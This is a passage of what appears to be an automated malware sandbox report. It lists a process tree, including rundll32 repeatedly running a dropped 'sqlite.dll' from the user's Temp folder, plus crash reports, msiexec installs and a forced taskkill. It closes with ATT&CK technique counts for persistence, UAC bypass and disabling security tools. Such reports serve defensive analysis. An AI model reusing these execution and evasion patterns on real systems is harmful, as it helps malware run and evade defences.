- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7924
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
PID:1896
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:3836 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:5208 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5208 -s 4483⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5988
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 7832 -ip 78321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1156
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 5208 -ip 52081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7684
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 17993e8b3687ae87e4c0225af4524e3e ntmwIsluzUm1basLYVrQvg.0.1.0.3.01⤵
- Modifies data under HKEY_USERS
PID:6676
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5440 -ip 54401⤵PID:4540
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 2228 -ip 22281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2828
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 7552 -ip 75521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5860
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4540 -ip 45401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7744
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 1348 -ip 13481⤵PID:8148
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
PID:3444 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6057C223561C82D6BC61FBE9DB46D128 C2⤵
- Loads dropped DLL
PID:8768
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding DA73A3BA92D6A69F5681812C6A532BDF2⤵
- Loads dropped DLL
PID:4032 -
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:6404
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:1856 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:7236 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7236 -s 4483⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:8444
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 7236 -ip 72361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8388
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:6648
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:6728
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:7644
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:8456
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:8856
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc1⤵PID:9092
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 7252 -ip 72521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7664
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵PID:9116
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 7252 -ip 72521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Checks processor information in registry
- Enumerates system info in registry
PID:7124
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 6376 -ip 63761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8660
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
3Registry Run Keys / Startup Folder
2Scheduled Task
1Winlogon Helper DLL
1Defense Evasion
Bypass User Account Control
1Disabling Security Tools
5Impair Defenses
1Install Root Certificate
1Modify Registry
10Virtualization/Sandbox Evasion
1Web Service
1